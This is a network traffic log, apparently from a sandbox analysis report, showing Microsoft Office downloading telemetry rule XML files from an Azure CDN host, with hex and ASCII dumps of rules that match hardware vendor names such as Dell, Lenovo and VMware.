Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:23:29 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:23:30 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:23:29 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: 4a9b7938-301e-000c-7880-3d323f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092329Z-174c587ffdfmlsmvhC1TEBvyks00000004bg00000000b4y3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 09:23:30 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.5	49715	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:23:29 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:23:30 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:23:30 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 657d02d2-201e-0033-2f57-3cb167000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092330Z-178bfbc474bpnd5vhC1NYC4vr400000005qg000000009qmb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 09:23:30 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.5	49718	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:23:29 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:23:30 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:23:30 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 5e8702c1-301e-000c-0b8f-3b323f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092330Z-174c587ffdf8lw6dhC1TEBkgs800000004b00000000007ez x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 09:23:30 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.5	49716	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:23:29 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:23:30 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:23:30 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: a6bfa609-001e-00a2-4d66-3bd4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092330Z-178bfbc474bwh9gmhC1NYCy3rs00000005u00000000079m6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 09:23:30 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.5	49717	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:23:29 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:23:30 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:23:30 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: ce5ebd39-a01e-0053-183c-3c8603000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092330Z-15b8b599d889gj5whC1TEBfyk0000000041g000000009vt8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 09:23:30 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.5	49720	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:23:32 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:23:32 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:23:32 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: ba9b913e-601e-0001-2f1a-3dfaeb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092332Z-178bfbc474bpscmfhC1NYCfc2c000000047g00000000f06h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 09:23:32 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.5	49721	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:23:32 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:23:32 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:23:32 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 239436ba-d01e-0028-7bd5-3b7896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092332Z-15b8b599d889gj5whC1TEBfyk0000000045g000000000kcy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 09:23:32 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.5	49722	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:23:32 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:23:32 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:23:32 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: eb1ded04-b01e-0097-298c-3a4f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092332Z-174c587ffdf59vqchC1TEByk68000000049g00000000gcea x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 09:23:32 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.5	49723	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:23:32 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:23:32 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:23:32 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 922c5f4e-601e-005c-577c-3bf06f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092332Z-174c587ffdfx984chC1TEB676g000000049000000000559v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 09:23:32 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.5	49724	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:23:32 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:23:32 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:23:32 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: ad60cd0f-c01e-008e-6f6a-3c7381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092332Z-174c587ffdf6b487hC1TEBydsn0000000480000000002pcd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 09:23:32 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.5	49725	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:23:34 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:23:34 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:23:34 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: b82db720-b01e-0053-528c-3acdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092334Z-174c587ffdfb74xqhC1TEBhabc000000043g00000000mkfe x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 09:23:34 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.5	49727	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:23:34 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:23:34 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:23:34 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 7fd471a5-f01e-00aa-27bf-3b8521000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092334Z-15b8b599d88cn5thhC1TEBqxkn000000043g000000009c19 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 09:23:34 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" 